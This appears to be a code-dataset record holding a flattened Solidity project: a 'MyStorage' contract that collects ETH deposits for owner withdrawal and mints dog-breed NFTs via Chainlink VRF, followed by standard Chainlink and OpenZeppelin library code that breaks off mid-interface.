emit MarketplaceManagerAdded(account);
}
// Define an internal function '_removeMarketplaceManager' to remove this role, called by 'removeMarketplaceManager'
function _removeMarketplaceManager(address account) internal {
marketplaceManagers.remove(account);
emit MarketplaceManagerRemoved(account);
}
}
|
Define an internal function '_addMarketplaceManager' to add this role, called by 'addConsumer'
|
function _addMarketplaceManager(address account) internal {
marketplaceManagers.add(account);
emit MarketplaceManagerAdded(account);
}
| 947,247 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "LinkTokenInterface.sol";
import "VRFConsumerBase.sol";
import "Ownable.sol";
import "ERC721.sol";
//import "ERC721URIStorage.sol";
import "EthUsPriceConversion.sol";
import "State.sol";
contract MyStorage is ERC721, VRFConsumerBase, Ownable {
using Strings for uint256;
// Ethereum US Dollar Price Conversion
EthUsPriceConversion immutable ethUsConvert;
// enum State open, end, closed the funding.
State immutable state;
// The gas lane to use, which specifies the maximum gas price to bump to.
bytes32 immutable keyHash;
// owner of this contract who deploy it.
address immutable s_owner;
// VRF Link fee
uint256 fee;
// Minimum Entry Fee to fund
uint32 minimumEntreeFee;
// users who send fund to this contract
address payable[] users;
// To keep track of the balance of each address
mapping (address => uint256) balanceOfUsers;
//counter for NFT Token created
uint256 tokenCounter;
// check if it is created NFT token or Eth withdraw
bool isNftToken;
// Base URI
string _baseURIextended;
enum Breed{PUG, SHIBA_INU, ST_BERNARD}
// add other things
mapping(bytes32 => address) public requestIdToSender;
mapping(bytes32 => string) public requestIdToTokenURI;
mapping(uint256 => Breed) public tokenIdToBreed;
mapping(bytes32 => uint256) public requestIdToTokenId;
mapping (uint256 => string) private _tokenURIs;
event RequestedCollectible(bytes32 indexed requestId);
event ReturnedCollectible(bytes32 indexed requestId, uint256 randomNumber);
event Withdraw2(uint256 num);
event ReturnedWithdraw(bytes32 indexed requestId);
event RequestWithdraw(bytes32 indexed requestId);
/*
* @notice Constructor inherits VRFConsumerBase
*
* @param _priceFeedAddress
* @param _minimumEntreeFee
* @param _vrfCoordinator - coordinator
* @param _LinkToken
* @param _keyHash - the gas lane to use, which specifies the maximum gas price to bump to
* @param _fee - Link token fee for requesting random number.
* @param _nftName - NFT token name
* @param _symbol - NFT symbol
*/
constructor(
address _priceFeedAddress,
uint32 _minimumEntreeFee,
address _VRFCoordinator,
address _LinkToken,
bytes32 _keyhash,
uint256 _fee,
string memory _nftName,
string memory _symbol
)
VRFConsumerBase(_VRFCoordinator, _LinkToken)
ERC721(_nftName, _symbol) payable
{
minimumEntreeFee = _minimumEntreeFee;
ethUsConvert = new EthUsPriceConversion(_priceFeedAddress, minimumEntreeFee);
state = new State();
s_owner = msg.sender;
tokenCounter = 0;
isNftToken = false;
keyHash = _keyhash;
fee = _fee;
}
/**
* @notice Get the current Ethereum market price in Wei
*/
function getETHprice() external view returns (uint256) {
return ethUsConvert.getETHprice();
}
/**
* @notice Get the current Ethereum market price in US Dollar
*/
function getETHpriceUSD() external view returns (uint256) {
return ethUsConvert.getETHpriceUSD();
}
/**
* @notice Get the minimum funding amount which is $50
*/
function getEntranceFee() external view returns (uint256) {
return ethUsConvert.getEntranceFee();
}
/**
* @notice Get current funding state.
*/
function getCurrentState() external view returns (string memory) {
return state.getCurrentState();
}
/**
* @notice Get the total amount that users funding in this account.
*/
function getUsersTotalAmount() external view returns (uint256) {
return address(this).balance;
}
/**
* @notice Get the balance of the user.
* @param - user address
*/
function getUserBalance(address user) external view returns (uint256) {
return balanceOfUsers[user];
}
/**
* @notice Open the funding account. Users can start funding now.
*/
function start() external onlyOwner {
state.start();
}
/**
* @notice End the state.
*/
function end() external onlyOwner {
state.end();
}
/**
* @notice Close the state.
*/
function closed() external onlyOwner {
state.closed();
}
/**
* @notice User can enter the fund. Minimum $50 value of ETH.
*/
function send() external payable {
// $50 minimum
require(state.getCurrentStateType() == state.getOpenState(), "Can't fund yet. Funding is not opened yet.");
require(msg.value >= ethUsConvert.getEntranceFee(), "Not enough ETH! Minimum $50 value of ETH require!");
users.push(payable(msg.sender));
balanceOfUsers[msg.sender] += msg.value;
}
/**
* @notice Owner withdraw the fund.
*/
function wdraw() external onlyOwner {
require(
state.getCurrentStateType() == state.getEndState(),
"Funding must be ended before withdraw!"
);
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet");
bytes32 requestId = requestRandomness(keyHash, fee);
emit RequestWithdraw(requestId);
}
/**
* @notice Owner withdraw the funding.
*/
function wdraw2() external onlyOwner {
require(
state.getCurrentStateType() == state.getEndState(),
"Funding must be ended before withdraw!"
);
payable(s_owner).transfer(address(this).balance);
reset();
uint256 num = 12347;
emit Withdraw2(num);
}
/**
* @notice Set the new Link fee for randonness
*/
function setFee(uint256 newFee) external onlyOwner {
fee = newFee;
}
/**
* @notice Set the minimum entry fee to fund in this contract
*
*/
function setMinimumEntryFee(uint32 newMinEntryFee) external onlyOwner {
minimumEntreeFee = newMinEntryFee;
}
/*
* @notice Create a new NFT Token.
*/
function createCollectible(string memory tokenURI) external returns (bytes32){
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet");
isNftToken = true;
bytes32 requestId = requestRandomness(keyHash, fee);
requestIdToSender[requestId] = msg.sender;
requestIdToTokenURI[requestId] = tokenURI;
emit RequestedCollectible(requestId);
}
function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override {
if(isNftToken) {
tokenCounter = tokenCounter + 1;
address dogOwner = requestIdToSender[requestId];
string memory tokenURI = requestIdToTokenURI[requestId];
uint256 newItemId = tokenCounter;
_safeMint(dogOwner, newItemId);
_setTokenURI(newItemId, tokenURI);
Breed breed = Breed(randomNumber % 3);
tokenIdToBreed[newItemId] = breed;
requestIdToTokenId[requestId] = newItemId;
isNftToken = false;
emit ReturnedCollectible(requestId, randomNumber);
}
else { //ETH withdraw
payable(s_owner).transfer(address(this).balance);
reset();
emit ReturnedWithdraw(requestId);
}
}
/*
* Reset the memory. Clear the container.
*/
function reset() internal {
for (uint256 index = 0; index < users.length; index++) {
address user = users[index];
balanceOfUsers[user] = 0;
}
users = new address payable[](0);
state.setStateType(state.getClosedState());
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
_baseURIextended = baseURI_;
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIextended;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* Set the token URI
*/
function setTokenURI(uint256 tokenId, string memory _tokenURI) external {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_setTokenURI(tokenId, _tokenURI);
}
/**
* @notice Get the count of NFT token created so far
*/
function getNFTtokenCount() external view returns (uint256) {
return tokenCounter;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface LinkTokenInterface {
function allowance(
address owner,
address spender
)
external
view
returns (
uint256 remaining
);
function approve(
address spender,
uint256 value
)
external
returns (
bool success
);
function balanceOf(
address owner
)
external
view
returns (
uint256 balance
);
function decimals()
external
view
returns (
uint8 decimalPlaces
);
function decreaseApproval(
address spender,
uint256 addedValue
)
external
returns (
bool success
);
function increaseApproval(
address spender,
uint256 subtractedValue
) external;
function name()
external
view
returns (
string memory tokenName
);
function symbol()
external
view
returns (
string memory tokenSymbol
);
function totalSupply()
external
view
returns (
uint256 totalTokensIssued
);
function transfer(
address to,
uint256 value
)
external
returns (
bool success
);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
)
external
returns (
bool success
);
function transferFrom(
address from,
address to,
uint256 value
)
external
returns (
bool success
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "LinkTokenInterface.sol";
import "VRFRequestIDBase.sol";
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constuctor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.
*/
abstract contract VRFConsumerBase is VRFRequestIDBase {
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBase expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomness the VRF output
*/
function fulfillRandomness(
bytes32 requestId,
uint256 randomness
)
internal
virtual;
/**
* @dev In order to keep backwards compatibility we have kept the user
* seed field around. We remove the use of it because given that the blockhash
* enters later, it overrides whatever randomness the used seed provides.
* Given that it adds no security, and can easily lead to misunderstandings,
* we have removed it from usage and can now provide a simpler API.
*/
uint256 constant private USER_SEED_PLACEHOLDER = 0;
/**
* @notice requestRandomness initiates a request for VRF output given _seed
*
* @dev The fulfillRandomness method receives the output, once it's provided
* @dev by the Oracle, and verified by the vrfCoordinator.
*
* @dev The _keyHash must already be registered with the VRFCoordinator, and
* @dev the _fee must exceed the fee specified during registration of the
* @dev _keyHash.
*
* @dev The _seed parameter is vestigial, and is kept only for API
* @dev compatibility with older versions. It can't *hurt* to mix in some of
* @dev your own randomness, here, but it's not necessary because the VRF
* @dev oracle will mix the hash of the block containing your request into the
* @dev VRF seed it ultimately uses.
*
* @param _keyHash ID of public key against which randomness is generated
* @param _fee The amount of LINK to send with the request
*
* @return requestId unique ID for this request
*
* @dev The returned requestId can be used to distinguish responses to
* @dev concurrent requests. It is passed as the first argument to
* @dev fulfillRandomness.
*/
function requestRandomness(
bytes32 _keyHash,
uint256 _fee
)
internal
returns (
bytes32 requestId
)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER));
// This is the seed passed to VRFCoordinator. The oracle will mix this with
// the hash of the block containing this request to obtain the seed/input
// which is finally passed to the VRF cryptographic machinery.
uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]);
// nonces[_keyHash] must stay in sync with
// VRFCoordinator.nonces[_keyHash][this], which was incremented by the above
// successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).
// This provides protection against the user repeating their input seed,
// which would result in a predictable/duplicate output, if multiple such
// requests appeared in the same block.
nonces[_keyHash] = nonces[_keyHash] + 1;
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
// Nonces for each VRF key from which randomness has been requested.
//
// Must stay in sync with VRFCoordinator[_keyHash][this]
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
* @param _link address of LINK token contract
*
* @dev https://docs.chain.link/docs/link-token-contracts
*/
constructor(
address _vrfCoordinator,
address _link
) {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomness(
bytes32 requestId,
uint256 randomness
)
external
{
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VRFRequestIDBase {
/**
* @notice returns the seed which is actually input to the VRF coordinator
*
* @dev To prevent repetition of VRF output due to repetition of the
* @dev user-supplied seed, that seed is combined in a hash with the
* @dev user-specific nonce, and the address of the consuming contract. The
* @dev risk of repetition is mostly mitigated by inclusion of a blockhash in
* @dev the final seed, but the nonce does protect against repetition in
* @dev requests which are included in a single block.
*
* @param _userSeed VRF seed input provided by user
* @param _requester Address of the requesting contract
* @param _nonce User-specific nonce at the time of the request
*/
function makeVRFInputSeed(
bytes32 _keyHash,
uint256 _userSeed,
address _requester,
uint256 _nonce
)
internal
pure
returns (
uint256
)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
/**
* @notice Returns the id for this request
* @param _keyHash The serviceAgreement ID to be used for this request
* @param _vRFInputSeed The seed to be passed directly to the VRF
* @return The id for this request
*
* @dev Note that _vRFInputSeed is not the seed passed by the consuming
* @dev contract, but the one generated by makeVRFInputSeed
*/
function makeRequestId(
bytes32 _keyHash,
uint256 _vRFInputSeed
)
internal
pure
returns (
bytes32
)
{
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
